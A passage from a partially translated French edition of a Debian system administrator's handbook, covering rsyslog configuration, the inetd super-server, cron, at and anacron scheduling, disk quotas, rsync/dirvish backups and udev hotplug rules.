- user : messages utilisateur (générique) ;

- uucp : messages du sous-système UUCP (Unix to Unix Copy Program, ou programme de copie d'Unix à Unix, un vieux protocole employé pour faire circuler entre autres des messages électroniques) ;

- local0 à local7 : réservés pour les utilisations locales.

À chaque message est également associé un niveau de priorité. En voici la liste par ordre décroissant :

- emerg : « Au secours ! » le système est probablement inutilisable .

- alert : vite, il y a péril en la demeure, des actions doivent être entreprises immédiatement ;

- crit : les conditions sont critiques ;

- err : erreur ;

- warn : avertissement (erreur potentielle) ;

- notice : condition normale mais message significatif ;

- info : message informatif ;

- debug : message de débogage.

9.5.2. Le fichier de configuration

The syntax of the /etc/rsyslog.conf file is detailed in the rsyslog.conf(5) manual page, but there is also HTML documentation available in the rsyslog-doc package (/usr/share/doc/rsyslog-doc/html/index.html). The overall principle is to write “selector” and “action” pairs. The selector defines all relevant messages, and the action describes how to deal with them.

9.5.2.1. Syntaxe du sélecteur

Le sélecteur est une liste (ayant pour séparateur le point-virgule) de couples sous-système.priorité (exemple : auth.notice;mail.info). L'astérisque peut y représenter tous les sous-systèmes ou toutes les priorités (exemples : *.alert ou mail.*). On peut regrouper plusieurs sous-systèmes en les séparant par une virgule (exemple : auth,mail.info). La priorité indiquée recouvre aussi les messages de priorité supérieure ou égale : auth.alert désigne donc les messages du sous-système auth de priorités alert ou emerg. Préfixée par un point d'exclamation, elle désignera au contraire les priorités strictement inférieures : auth.!notice désignera donc les messages issus de auth et de priorité info ou debug. Préfixée par un signe égal, elle correspondra exactement à la seule priorité indiquée (auth.=notice ne concernera donc que les messages de auth de priorité notice).

Au sein du sélecteur, chaque élément de la liste surcharge les éléments précédents. Il est donc possible de restreindre un ensemble ou d'en exclure certains éléments. À titre d'exemple, kern.info;kern.!err définit les messages du noyau de priorité comprise entre info et warn. La priorité none désigne l'ensemble vide (aucune des priorités) et peut servir pour exclure un sous-système d'un ensemble de messages. Ainsi, *.crit;kern.none désigne tous les messages de priorité supérieure ou égale à crit ne provenant pas du noyau.

9.5.2.2. Syntaxe des actions

B.A.-BA Le tube nommé, un tube persistant

Un tube nommé est un type particulier de fichier fonctionnant comme un tube traditionnel (le pipe que l'on crée à l'aide du symbole « | » sur la ligne de commande), mais par l'intermédiaire d'un fichier. Ce mécanisme a l'avantage de pouvoir mettre en relation deux processus n'ayant aucun rapport de parenté. Toute écriture dans un tube nommé bloque le processus qui écrit jusqu'à ce qu'un autre processus tente d'y lire des données. Ce dernier lira alors les données écrites par l'autre partie, qui pourra donc reprendre son exécution.

Un tel fichier se crée avec la commande mkfifo.

Les différentes actions possibles sont :

- ajouter le message à un fichier (exemple : /var/log/messages) ;

- envoyer le message à un serveur syslog distant (exemple : @log.falcot.com) ;

- envoyer le message dans un tube nommé préexistant (exemple : |/dev/xconsole) ;

- envoyer le message à un ou plusieurs utilisateurs s'ils sont connectés (exemple : root,rhertzog) ;

- envoyer le message à tous les utilisateurs connectés (exemple : *) ;

- écrire le message sur une console texte (exemple : /dev/tty8).

SÉCURITÉ Déporter les logs

C'est une bonne idée que d'enregistrer les logs les plus importants sur une machine séparée (voire dédiée), car cela empêchera un éventuel intrus de supprimer les traces de son passage (sauf à compromettre également cet autre serveur). Par ailleurs, en cas de problème majeur (tel qu'un plantage du noyau), disposer de logs sur une autre machine augmente les chances de retrouver le déroulement des événements.

Pour accepter les messages de log envoyés par d'autres machines, il faut reconfigurer rsyslog : dans la pratique il suffit d'activer des directives prêtes à l'emploi qui sont déjà présentes dans /etc/rsyslog.conf ($ModLoad imudp et $UDPServerRun 514).

9.6. Le super-serveur inetd

inetd (souvent appelé « super-serveur Internet ») est en réalité un serveur de serveurs, employé pour invoquer à la demande les serveurs rarement employés qui ne fonctionnent donc pas en permanence.

Le fichier /etc/inetd.conf donne la liste de ces serveurs et de leurs ports habituels, qu'inetd écoute tous ; dès qu'il détecte une connexion sur l'un d'entre eux, il exécute le programme du serveur correspondant.

DEBIAN POLICY Register a server in /etc/inetd.conf

Les paquets souhaiteraient parfois enregistrer un nouveau serveur dans le fichier /etc/inetd.conf, mais la charte Debian interdit à tout paquet de modifier un fichier de configuration qui ne relève pas de lui. C'est pourquoi le script update-inetd (du paquet éponyme) a été créé : il a à sa charge le fichier de configuration et les autres paquets peuvent ainsi l'employer pour demander au super-serveur de prendre en compte un nouveau serveur.

Chaque ligne significative du fichier /etc/inetd.conf décrit un service par sept champs (séparés par des blancs):

- Le numéro du port TCP ou UDP, ou le nom du service (qui est associé à un numéro de port standard par la table de correspondance définie dans le fichier /etc/services).

- Le type de socket : stream pour une connexion TCP, dgram pour des datagrammes UDP .

- The protocol: tcp, tcp6, udp, or udp6.

- Les options : deux valeurs sont possibles : wait ou nowait, pour signifier à inetd qu'il doit, ou non, attendre la fin du processus lancé avant d'accepter une autre connexion. Pour les connexions TCP, facilement multiplexables, on pourra généralement utiliser nowait. Pour les programmes répondant sur UDP, il ne faut retenir nowait que si le serveur est capable de gérer plusieurs connexions en parallèle. On pourra suffixer ce champ d'un point suivi du nombre maximum de connexions autorisées par minute (la limite par défaut étant de 256).

- The user name of the user under whose identity the server will run. Optionally one can add the group too via user.group syntax.

- Le chemin complet du programme serveur à exécuter.

- Les arguments : il s'agit de la liste complète des arguments du programme, y compris son propre nom (argv[0] en C).

The following example illustrates some use-cases after installing talkd, nullidentd (ident-server), and fingerd:

Exemple 9.1. Extrait de /etc/inetd.conf

#:BSD: Shell, login, exec and talk are BSD protocols.

talk   dgram   udp     wait    nobody.tty   /usr/sbin/in.talkd      in.talkd

ntalk  dgram   udp     wait    nobody.tty   /usr/sbin/in.ntalkd     in.ntalkd

#:INFO: Info services

ident  stream  tcp     nowait  nobody       /usr/sbin/nullidentd    nullidentd

finger stream  tcp     nowait  nobody       /usr/sbin/tcpd          /usr/sbin/in.fingerd

The tcpd program is frequently used in the /etc/inetd.conf file. It allows limiting incoming connections by applying access control rules, documented in the hosts_access(5) manual page, and which are configured in the /etc/hosts.allow and /etc/hosts.deny files. Once it has been determined that the connection is authorized, tcpd executes the real server (like in.fingerd in our example). It is worth noting that tcpd relies on the name under which it was invoked (that is the first argument, argv[0]) to identify the real program to run. So you should not start the arguments list with tcpd but with the program that must be wrapped.

COMMUNAUTÉ Wietse Venema

Wietse Venema, whose expertise in security has made him a renowned programmer, is the author of the tcpd program. He is also the main creator of Postfix, the modular e-mail server (SMTP, Simple Mail Transfer Protocol), designed to be safer and more reliable than sendmail, which features a long history of security vulnerabilities. We will have a closer look at this mail server in Section 11.1, « Serveur de messagerie électronique ».

ALTERNATIVE Autres inetd

While Debian installs openbsd-inetd by default, there is no lack of alternatives: we can mention inetutils-inetd, rlinetd, and xinetd, which all provide the virtual package inet-superserver.

Most of these alternatives share the same configuration file /etc/inetd.conf.

This last incarnation of a super-server however, offers different syntax and very interesting possibilities. Most notably, its configuration can be split into several files (stored, of course, in the /etc/xinetd.d/ directory), which can make an administrator's life easier. It is considered to be more powerful, but also more complex.

Last but not least, it is even possible to emulate inetd's behavior with systemd's socket-activation mechanism (see Section 9.1.1, « Le système d'initialisation systemd »).

9.7. Planification de tâches : cron et atd

cron is the daemon responsible for executing scheduled and recurring commands (every hour, every day, every week, etc.). atd deals with commands to be executed a single time, but at a specific moment in the future.

Dans un système Unix, de nombreuses tâches sont régulièrement planifiées :

- la rotation des logs ;

- la mise à jour de la base de données du programme locate ;

- les sauvegardes ;

- des scripts d'entretien (comme le nettoyage des fichiers temporaires).

Par défaut, tous les utilisateurs peuvent planifier l'exécution de tâches. C'est pourquoi chacun dispose de sa propre crontab, où il peut consigner les commandes à planifier. Il peut la modifier en exécutant crontab -e (ses informations sont stockées dans le fichier /var/spool/cron/crontabs/utilisateur).

SÉCURITÉ Restreindre cron ou atd

You can restrict access to crontab by creating an explicit authorization file (whitelist) in /etc/cron.allow, in which you indicate the only users authorized to schedule commands. All others will automatically be deprived of this feature. Conversely, to only block one or two troublemakers, you could write their username in the explicit prohibition file (blacklist), /etc/cron.deny. This same feature is available for atd, with the /etc/at.allow and /etc/at.deny files (also described in their manual pages).

L'utilisateur root dispose de sa crontab personnelle, mais peut également employer le fichier /etc/crontab ou déposer des crontab supplémentaires dans le répertoire /etc/cron.d/. Ces deux dernières solutions ont l'avantage de pouvoir préciser l'utilisateur sous l'identité duquel exécuter la commande.

Le paquet cron propose par défaut des commandes planifiées qui exécutent :

- une fois par heure les programmes du répertoire /etc/cron.hourly/ ;

- une fois par jour les programmes du répertoire /etc/cron.daily/ ;

- une fois par semaine les programmes du répertoire /etc/cron.weekly/ ;

- une fois par mois les programmes du répertoire /etc/cron.monthly/.

De nombreux paquets Debian profitent de ce service : en déposant dans ces répertoires des scripts de maintenance, ils assurent le fonctionnement optimal de leur service.

9.7.1. Format d'un fichier crontab

ASTUCE Raccourcis textuels pour cron

Des abréviations, qui remplacent les cinq premiers champs d'une entrée de crontab, décrivent les planifications les plus classiques. Les voici :

- @yearly : une fois par an (le premier janvier à 0 h 00) ;

- @monthly : une fois par mois (le premier du mois à 0 h 00) ;

- @weekly : une fois par semaine (le dimanche à 0 h 00) ;

- @daily : une fois par jour (à 0 h 00) ;

- @hourly : une fois par heure (au début de chaque heure).

More abbreviations are recognized, like @rebootor @midnight.

CAS PARTICULIER cron et l'heure d'été

Sous Debian, cron prend en compte au mieux les changements d'heure (en fait, lorsqu'un saut important est détecté dans l'heure locale). Ainsi, les commandes qui auraient dû être exécutées à une heure qui n'a pas existé (par exemple, 2 h 30 lors du changement d'heure de printemps en France) sont exécutées peu après le changement d'heure (soit peu après 3 h du matin en heure d'été). À l'inverse, à l'automne, les commandes qui auraient pu être exécutées plusieurs fois (à 2 h 30 heure d'été puis, une heure plus tard, à 2 h 30 heure d'hiver) ne le sont qu'une fois.

On prendra cependant soin, si l'ordre dans lequel les différentes tâches planifiées et le délai entre leurs déclenchements respectifs est important, de vérifier la compatibilité de ces contraintes avec le mode de fonctionnement de cron — le cas échéant, on pourra préparer une planification spéciale pour les deux nuits de l'année où le problème risque d'apparaître.

Each significant line of a crontab entry describes a scheduled command with the six (or seven) following fields:

- the value for the minute (from 0 to 59);

- la condition sur les heures (de 0 à 23) ;

- la condition sur le jour du mois (de 1 à 31) ;

- la condition sur le mois (de 1 à 12) ;

- la condition sur le jour de la semaine (de 0 à 7, le 1 correspondant au lundi — le dimanche est représenté à la fois par 0 et par 7 ; il est également possible d'employer les trois premières lettres du nom du jour en anglais comme Sun, Mon, etc.) ;

- le nom d'utilisateur sous lequel la commande devra s'exécuter (dans le fichier /etc/crontab et dans les fragments déposés dans /etc/cron.d/, mais pas les crontabs des utilisateurs) ;

- la commande à exécuter (quand les conditions définies par les cinq premières colonnes sont remplies).

Tous les détails sont documentés dans la page de manuel crontab(5).

Each value can also be expressed in the form of a list of possible values (separated by commas). The syntax a-b describes the interval of all the values between a and b. The syntax a-b/c describes the interval with an increment of c (example: 0-10/2 means 0,2,4,6,8,10). An asterisk * is a wildcard, representing all possible values.

Exemple 9.2. Sample user crontab file

#Format

#min hour day mon dow  command

# Download data every night at 7:25 pm

25  19   *   *   *    $HOME/bin/get.pl

# 8:00 am, on weekdays (Monday through Friday)

00  08   *   *   1-5  $HOME/bin/dosomething

# every two hours

*  */2   *   *   *    $HOME/bin/dosomethingelse

# Restart the IRC proxy after each reboot

@reboot /usr/bin/dircproxy

ASTUCE Exécuter une commande au démarrage

Pour exécuter une commande une seule fois, juste après le démarrage de l'ordinateur, on peut recourir à la macro @reboot (un simple redémarrage de cron ne déclenche pas une commande planifiée avec @reboot). Cette macro remplace elle aussi les cinq premiers champs d'une entrée dans la crontab.

ALTERNATIVE Émuler cron avec systemd

It is possible to emulate part of cron's behavior with systemd's timer mechanism (see Section 9.1.1, « Le système d'initialisation systemd »).

9.7.2. Emploi de la commande at

The at executes a command at a specified moment in the future. It takes the desired time and date as command-line parameters, and the command to be executed in its standard input. The command will be executed as if it had been entered in the current shell. at even takes care to retain the current environment, in order to reproduce the same conditions when it executes the command. The time is indicated by following the usual conventions: 16:12 or 4:12pm represents 4:12 pm. The date can be specified in several European and Western formats, including DD.MM.YY (27.07.22 thus representing 27 July 2022), YYYY-MM-DD (this same date being expressed as 2022-07-27), MM/DD/[CC]YY (i.e., 12/25/22 or 12/25/2022 will be December 25, 2022), or simple MMDD[CC]YY (so that 122522 or 12252022 will, likewise, represent December 25, 2022). Without it, the command will be executed as soon as the clock reaches the time indicated (the same day, or tomorrow if that time has already passed on the same day). You can also simply write “today” or “tomorrow”, which is self-explanatory.

$ at 09:00 27.07.22 <<END

> echo "Don't forget to wish a Happy Birthday to Raphaël!" \

>   | mail lolando@debian.org

> END

warning: commands will be executed using /bin/sh

job 1 at Wed Jul 27 09:00:00 2022

Une autre syntaxe permet d'exprimer une durée d'attente : at now + nombre période. La période peut valoir minutes, hours (heures), days (jours) ou weeks (semaines). Le nombre indique simplement le nombre de ces unités qui doivent s'écouler avant exécution de la commande.

Pour annuler une tâche planifiée pour cron, il suffit, lors d'un appel à crontab -e, de supprimer la ligne correspondante dans la crontab où la tâche est définie. Pour les tâches at, c'est à peine plus complexe : il suffit d'exécuter la commande atrm numéro-de-tâche. Le numéro de tâche est indiqué par la commande at lors de la planification mais on pourra le retrouver grâce à la commande atq, qui donne la liste des commandes actuellement planifiées.

9.8. Planification asynchrone : anacron

anacron est le démon qui complète cron pour les ordinateurs non allumés en permanence. Les tâches régulières étant habituellement planifiées au milieu de la nuit, elles ne seront jamais exécutées si la machine est éteinte à ce moment-là. La fonction d'anacron est de les exécuter en prenant en compte les périodes où l'ordinateur ne fonctionne pas.

Attention, anacron fera fréquemment exécuter cette activité en retard quelques minutes après le démarrage de la machine, ce qui peut en perturber la réactivité. C'est pourquoi les tâches du fichier /etc/anacrontab sont démarrées sous la commande nice, qui réduit leur priorité d'exécution et limitera donc l'impression de lenteur du reste du système. Attention, le format de ce fichier n'est pas le même que celui de /etc/crontab ; si vous avez des besoins particuliers avec anacron, consultez la page de manuel anacrontab(5).

B.A.-BA Priorité, nice

Unix systems (and thus Linux) are multi-tasking and multi-user systems. Indeed, several processes can run in parallel, and be owned by different users: the kernel mediates access to the resources between the different processes. As a part of this task, it has a concept of priority, which allows it to favor certain processes over others, as needed. When you know that a process can run in low priority, you can indicate so by running it with nice program. The program will then have a smaller share of the CPU, and will have a smaller impact on other running processes. Of course, if no other process needs to run, the program will not be artificially held back.

nice fonctionne avec des niveaux de « gentillesse » : les niveaux positifs (de 1 à 19) rendent progressivement un processus moins prioritaire, les niveaux négatifs (de -1 à -20) le rendent au contraire plus avide de ressources — mais seul le super-utilisateur est autorisé à utiliser ces niveaux négatifs. Sauf indication contraire (voir la page de manuel nice(1)), nice utilise le niveau 10.

Si l'on s'aperçoit qu'une tâche déjà lancée aurait dû l'être avec nice, il n'est pas trop tard pour réagir : la commande renice permet de changer la priorité d'un processus déjà existant, dans un sens ou dans l'autre (mais diminuer la « gentillesse » d'un processus est réservé au super-utilisateur).

L'installation du paquet anacron désactive l'exécution par cron des scripts des fichiers /etc/cron.hourly/, /etc/cron.daily/, /etc/cron.weekly/ et /etc/cron.monthly/. On évite ainsi qu'ils soient pris en compte à la fois par anacron et par cron. Mais cron reste actif et se chargera encore d'exécuter les autres commandes planifiées (notamment par les utilisateurs).

9.9. Les quotas

Le système des quotas permet de limiter l'espace disque alloué à un utilisateur ou un groupe d'utilisateurs. Pour le mettre en place, il faut disposer d'un noyau activant sa prise en charge (option de compilation CONFIG_QUOTA) — ce qui est le cas des noyaux Debian. Les logiciels de gestion des quotas se trouvent dans le paquet Debian quota.

Pour activer les quotas sur un système de fichiers, il faut mentionner, dans le fichier /etc/fstab, les options usrquota et grpquota, respectivement pour des quotas utilisateurs ou de groupes. Redémarrer l'ordinateur permet ensuite de mettre à jour les quotas en l'absence d'activité disque (condition nécessaire à une bonne comptabilisation de l'espace disque déjà consommé).

La commande edquota utilisateur (ou edquota -g groupe) permet de changer les limites tout en consultant la consommation actuelle.

POUR ALLER PLUS LOIN Définir les quotas par script

Le programme setquota peut être employé dans un script pour modifier automatiquement de nombreux quotas. Sa page de manuel setquota(8) détaille la syntaxe précise à employer.

Le système de quotas permet de définir quatre limites :

- two limits (called “soft” and “hard”) refer to the number of blocks consumed. If the filesystem was created with a block-size of 1 kibibyte, the 1024 available bytes of each block can only be assigned to one file. Unsaturated blocks thus induce losses of disk space. A quota of 100 blocks, which theoretically allows storage of 102,400 bytes, will, however, be saturated with just 100 files of 500 bytes each, only representing 50,000 bytes in total.

- two limits (“soft” and “hard”) refer to the number of inodes used. Each file occupies at least one inode to store information about it (permissions, owner, timestamp of last access, etc.). It is thus a limit on the number of user files.

Une limite soft peut être franchie temporairement ; l'utilisateur sera simplement averti de son dépassement de quota par le programme warnquota, habituellement invoqué par cron. Une limite hard ne peut jamais être franchie : le système refusera toute opération provoquant un dépassement du quota dur.

VOCABULAIRE Blocs et inodes

Le système de fichiers découpe le disque dur en blocs, petites zones contiguës. La taille de ces blocs est déterminée lors de la création du système de fichiers et varie généralement entre 1 et 8 ko.

Un bloc peut être utilisé soit pour stocker des données réelles du fichier, soit des métadonnées utilisées par le système de fichiers. Parmi ces métadonnées, on trouve notamment les inodes (terme parfois traduit par « i-nœuds » mais généralement laissé tel quel). Un inode utilise un bloc sur le disque (mais ce bloc n'est pas pris en compte dans le quota de blocs, seulement dans le quota d'inodes) et contient à la fois des informations sur le fichier qu'il concerne (nom, propriétaire, permissions etc.) et des pointeurs vers les blocs de données réellement utilisés. Pour les fichiers volumineux occupant plus de blocs qu'il n'est possible d'en référencer dans un seul inode, il y a même un système de blocs indirects : l'inode référence une liste de blocs ne contenant pas directement des données mais une autre liste de blocs.

On peut définir, par la commande edquota -t, une « période de grâce » maximale autorisée pour un dépassement de limite soft. Ce délai écoulé, la limite soft se comportera comme une limite hard et l'utilisateur devra donc repasser sous elle pour pouvoir à nouveau écrire quoi que ce soit sur le disque.

POUR ALLER PLUS LOIN Systématiser un quota pour les nouveaux utilisateurs

Pour instaurer un quota systématique chez les nouveaux utilisateurs, il faut le configurer sur un utilisateur « modèle » (avec edquota ou setquota) et indiquer son nom dans la variable QUOTAUSER du fichier /etc/adduser.conf. Ce paramétrage sera alors automatiquement repris pour chaque nouvel utilisateur créé avec la commande adduser.

9.10. Sauvegarde

L'une des responsabilités principales de tout administrateur, la sauvegarde reste un sujet complexe dont les outils puissants sont en général difficiles à maîtriser.

Many programs exist, such as amanda, bacula, or BackupPC. Those are client/server systems featuring many options, whose configuration is rather difficult. Some of them provide user-friendly web interfaces to mitigate this. For non-enterprise systems, administrators might want to check out rsnapshot or rdiff-backup. Users can easily create backups of their filesystems with timeshift, fsarchiver, duplicity, or even dd.

Debian contains dozens of other backup software covering all possible use cases, as you can easily confirm with apt-cache search backup.

Plutôt que de détailler le fonctionnement de certains d'entre eux, nous prenons le parti d'exposer la réflexion menée par les administrateurs de Falcot SA pour définir leur stratégie de sauvegarde.

Chez Falcot SA, les sauvegardes répondent à deux besoins : récupérer des fichiers supprimés par erreur et remettre en route rapidement tout ordinateur (serveur ou bureautique) dont le disque dur subit une panne.

9.10.1. Sauvegarde avec rsync

Les sauvegardes sur bandes ayant été jugées trop lentes et trop coûteuses, les données seront sauvegardées sur les disques durs d'un serveur dédié, où l'emploi du RAID logiciel (détaillé dans la Section 12.1.1, « RAID logiciel ») les protégera d'une défaillance du disque. Les ordinateurs bureautiques ne sont pas sauvegardés individuellement, mais les utilisateurs sont informés que leur compte personnel, situé sur le serveur de fichiers de leur département, sera sauvegardé. La commande rsync (du paquet éponyme) sauvegarde quotidiennement ces différents serveurs.

B.A.-BA Le lien dur, un deuxième nom pour le fichier

Un lien dur (hardlink), contrairement au lien symbolique, ne peut être différencié du fichier pointé. Créer un lien dur revient en fait à affecter un deuxième nom à un fichier déjà existant (cible). C'est pourquoi la suppression d'un lien dur ou de la cible ne supprime en fait qu'un des noms associés au fichier. Tant qu'un nom est encore affecté au fichier, les données de celui-ci restent présentes sur le système de fichiers. Il est intéressant de noter que contrairement à une copie, le lien dur ne consomme pas d'espace disque supplémentaire.

Le lien dur se crée avec la commande ln cible lien. Le fichier lien est alors un nouveau nom du fichier cible. Les liens durs ne peuvent être créés qu'au sein d'un même système de fichiers, alors que les liens symboliques ne souffrent pas de cette limitation.

L'espace disque disponible interdit la mise en place d'une sauvegarde complète quotidienne. C'est pourquoi la synchronisation par rsync est précédée d'une duplication du contenu de la dernière sauvegarde par des liens durs (hard links), qui évitent de consommer trop d'espace disque. Le processus rsync ne remplacera ensuite que les fichiers modifiés depuis la dernière sauvegarde. Ce mécanisme permet de conserver un grand nombre de sauvegardes sur un volume réduit. Toutes les sauvegardes étant accessibles en même temps (par exemple dans des répertoires différents d'un même volume accessible à travers le réseau), on pourra effectuer rapidement des comparaisons entre deux dates données.

Ce mécanisme de sauvegarde se met facilement en place à l'aide du programme dirvish. Il emploie un espace de stockage des sauvegardes (bank, dans son vocabulaire) dans lequel il place les différentes copies horodatées des ensembles de fichiers sauvegardés (ces ensembles sont nommés vaults, donc « chambre forte », dans la documentation de dirvish).

La configuration principale se trouve dans le fichier /etc/dirvish/master.conf. Elle indique l'emplacement de l'espace de stockage des sauvegardes, la liste des ensembles à sauvegarder ainsi que des valeurs par défaut pour l'expiration des sauvegardes. Le reste de la configuration se trouve dans les fichiers bank/vault/dirvish/default.conf et contient à chaque fois la configuration spécifique à l'ensemble de fichiers en question.

Exemple 9.3. Fichier /etc/dirvish/master.conf

bank:

/backup

exclude:

lost+found/

core

*~

Runall:

root    22:00

expire-default: +15 days

expire-rule:

#   MIN HR    DOM MON       DOW  STRFTIME_FMT

*   *     *   *         1    +3 months

*   *     1-7 *         1    +1 year

*   *     1-7 1,4,7,10  1

The bank setting indicates the directory in which the backups are stored. The exclude setting allows you to indicate files (or file types) to exclude from the backup. The Runall is a list of file sets to backup with a time-stamp for each set, which allows you to assign the correct date to the copy, in case the backup is not triggered at precisely the assigned time. You have to indicate a time just before the actual execution time (according to /etc/cron.d/dirvish). Finally, the expire-default and expire-rule settings define the expiration policy for backups. The above example keeps forever backups that are generated on the first Sunday of each quarter, deletes after one year those from the first Sunday of each month, and after 3 months those from other Sundays. Other daily backups are kept for 15 days. The order of the rules does matter, Dirvish uses the last matching rule, or the expire-default one if no other expire-rule matches.

EN PRATIQUE Expiration planifiée

Les règles d'expiration ne sont pas employées par dirvish-expire pour faire son travail. En réalité, les règles d'expiration interviennent au moment de la création d'une nouvelle copie de sauvegarde pour définir une date d'expiration associée à cette copie. dirvish-expire se contente de parcourir les copies stockées et de supprimer celles dont la date d'expiration est dépassée.

Exemple 9.4. Fichier /backup/root/dirvish/default.conf

client: rivendell.falcot.com

tree: /

xdev: 1

index: gzip

image-default: %Y%m%d

exclude:

/var/cache/apt/archives/*.deb

/var/cache/man/**

/tmp/**

/var/tmp/**

*.bak

L'exemple ci-dessus précise l'ensemble de fichiers à sauvegarder : il s'agit de fichiers sur la machine rivendell.falcot.com (pour une sauvegarde de données locales, il faut simplement préciser le nom de la machine locale tel que hostname le rapporte), en particulier ceux qui sont dans l'arborescence racine (tree: /) à l'exclusion de ceux listés dans exclude. La sauvegarde restera limitée au contenu d'un seul système de fichiers (xdev: 1), elle n'inclura pas les fichiers d'autres montages. Un index des fichiers sauvegardés sera généré (index: gzip) et l'image sera nommée selon la date du jour (image-default: %Y%m%d).

There are many options available, all documented in the dirvish.conf(5) manual page. Once these configuration files are setup, you have to initialize each file set with the dirvish --vault vault --init command. From there on the daily invocation of dirvish-runall will automatically create a new backup copy just after having deleted those that expired.

EN PRATIQUE Sauvegarde distante par SSH

Lorsque dirvish doit sauvegarder des données d'une machine distante, il va employer ssh pour s'y connecter et y démarrer rsync en tant que serveur. Cela nécessite donc que l'utilisateur root puisse se connecter automatiquement à la machine en question. L'emploi d'une clé d'authentification SSH permet précisément cela (voir Section 9.2.1.1, « Authentification par clé »).

9.10.2. Restauration des machines non sauvegardées

Desktop computers, which are not backed up, will be easy to reinstall from custom DVD-ROMs/USB sticks prepared with simple-cdd (see Section 12.3.3, « Simple-CDD : la solution tout en un »). Since this performs an installation from scratch, it loses any customization that can have been made after the initial installation. This is fine since the systems are all hooked to a central LDAP directory for accounts and most desktop applications are preconfigured thanks to dconf (see Section 13.3.1, « GNOME » for more information about this).

Les administrateurs de Falcot SA sont conscients des limites de leur politique de sauvegarde. Ne pouvant pas protéger le serveur de sauvegarde aussi bien qu'une bande dans un coffre ignifugé, ils l'ont installé dans une pièce séparée de sorte qu'un sinistre tel qu'un incendie se déclarant dans la salle des serveurs ne détruise pas aussi les sauvegardes. Par ailleurs, ils réalisent une sauvegarde incrémentale sur DVD-Rom une fois par semaine — seuls les fichiers modifiés depuis la dernière sauvegarde sont concernés.

POUR ALLER PLUS LOIN Sauvegarde SQL, LDAP

De nombreux services (comme les bases de données SQL ou LDAP) ne peuvent pas être sauvegardés simplement en copiant leurs fichiers (sauf s'ils sont correctement interrompus durant la sauvegarde, ce qui pose souvent problème car ils sont prévus pour être disponibles en permanence). Il est alors nécessaire de faire appel à une procédure « d'export » des données, dont on sauvegardera alors le dump. Souvent volumineux, celui-ci se prête cependant bien à la compression. Pour réduire l'espace de stockage nécessaire, on ne stockera qu'un fichier texte complet par semaine et un diff chaque jour, ce dernier étant obtenu par une commande du type diff fichier-de-la-veille fichier-du-jour. Le programme xdelta produira les différences incrémentales des dumps binaires.

CULTURE TAR, standard de sauvegarde sur bande

Historiquement, le moyen le plus simple de réaliser une sauvegarde sous Unix était de stocker sur bande une archive au format TAR. La commande tar tire d'ailleurs son nom de Tape ARchive (« archive sur bande »).

9.11. Branchements « à chaud » : hotplug

9.11.1. Introduction

The hotplug kernel subsystem dynamically handles the addition and removal of devices, by loading the appropriate drivers and by creating the corresponding device files (with the help of udevd). With modern hardware and virtualization, almost everything can be “hotplugged“: from the usual USB/PCMCIA/IEEE 1394 peripherals to SATA hard drives, but also the CPU and the memory.

Le noyau dispose d'une base de données associant à chaque identifiant de périphérique le pilote requis. Cette base de données est employée au démarrage de l'ordinateur pour charger tous les pilotes des périphériques détectés sur les différents bus mentionnés, mais aussi lors de l'insertion à chaud d'un périphérique supplémentaire. Une fois le pilote chargé, un message est envoyé à udevd afin que celui-ci puisse créer l'entrée correspondante dans /dev/.

9.11.2. La problématique du nommage

Avant l'introduction des branchements à chaud, il était simple de donner un nom fixe à un périphérique. On se basait simplement sur le positionnement des périphériques dans leur bus respectif. Mais si les périphériques apparaissent et disparaissent sur le bus, ce n'est plus possible. L'exemple typique est l'emploi d'un appareil photo numérique et d'une clé USB : tous les deux apparaissent comme des disques, le premier branché pourra être /dev/sdb et le second /dev/sdc (avec /dev/sda représentant le disque dur). Le nom du périphérique n'est donc pas fixe, il dépend de l'ordre dans lequel ils ont été connectés.

En outre, de plus en plus de pilotes emploient des numéros majeur/mineur dynamiques, ce qui fait qu'il est impossible d'avoir une entrée statique pour le périphérique, puisque ces caractéristiques essentielles peuvent varier après un redémarrage de l'ordinateur.

C'est pour résoudre ces problématiques qu'udev a été créé.

9.11.3. Fonctionnement de udev

Lorsqu'udev est informé par le noyau de l'apparition d'un nouveau périphérique, il récupère de nombreuses informations sur le périphérique en question en consultant les entrées correspondantes dans /sys/, en particulier celles qui permettent de l'identifier de manière unique (adresse MAC pour une carte réseau, numéro de série pour certains périphériques USB, etc.).

Armé de toutes ces informations, udev consulte l'ensemble de règles contenu dans /etc/udev/rules.d/ et /lib/udev/rules.d/ et décide à partir de cela du nom à attribuer au périphérique, des liens symboliques à créer (pour offrir des noms alternatifs), ainsi que des commandes à exécuter. Tous les fichiers sont consultés et les règles sont toutes évaluées séquentiellement (sauf quand un fichier fait appel à des constructions de type « GOTO »). Ainsi, il peut y avoir plusieurs règles qui correspondent à un événement donné.

La syntaxe des fichiers de règles est assez simple : chaque ligne contient des critères de sélection et des directives d'affectation. Les premiers permettent de sélectionner les événements sur lesquels il faudra réagir et les seconds définissent l'action à effectuer. Tous sont simplement séparés par des virgules et c'est l'opérateur qui désigne s'il s'agit d'un critère de sélection (pour les opérateurs de comparaison == ou !=) ou d'une directive d'affectation (pour les opérateurs =, += ou :=).

Les opérateurs de comparaison s'emploient sur les variables suivantes :

- KERNEL : le nom que le noyau affecte au périphérique ;

- ACTION : l'action correspondant à l'événement (« add » pour l'ajout d'un périphérique, « remove » pour la suppression) ;

- DEVPATH : le chemin de l'entrée correspondant au périphérique dans /sys/ ;

- SUBSYSTEM : le sous-système du noyau à l'origine de la demande (ils sont nombreux mais citons par exemple « usb », « ide », « net », « firmware », etc.) ;

- ATTR{attribut} : contenu du fichier attribut dans le répertoire /sys/$devpath/ du périphérique. C'est ici que l'on va trouver les adresses MAC et autres identifiants spécifiques à chaque bus ;

- KERNELS, SUBSYSTEMS et ATTRS{attribut} sont des variantes qui vont chercher à faire correspondre les différentes options sur un des périphériques parents du périphérique actuel ;

- PROGRAM : délègue le test au programme indiqué (vrai s'il renvoie 0, faux sinon). Le contenu de la sortie standard du programme est stocké afin de pouvoir l'utiliser dans le cadre du test RESULT ;

- RESULT : effectue des tests sur la sortie standard du dernier appel à PROGRAM.

Les opérandes de droite peuvent employer certaines expressions de motifs pour correspondre à plusieurs valeurs en même temps. Ainsi, * correspond à une chaîne quelconque (même vide), ? correspond à un caractère quelconque et [] correspond à l'ensemble de caractères cités entre les crochets (l'ensemble inverse si le premier caractère est un point d'exclamation, et les intervalles de caractères sont possibles grâce à la notation a-z).

En ce qui concerne les opérateurs d'affectation, = affecte une valeur (et remplace la valeur actuelle) ; s'il s'agit d'une liste elle est vidée et ne contient plus que la valeur affectée. := fait de même mais empêche les modifications subséquentes de cette même variable. Quant à +=, il ajoute une valeur dans une liste. Voici les variables qui peuvent être modifiées :

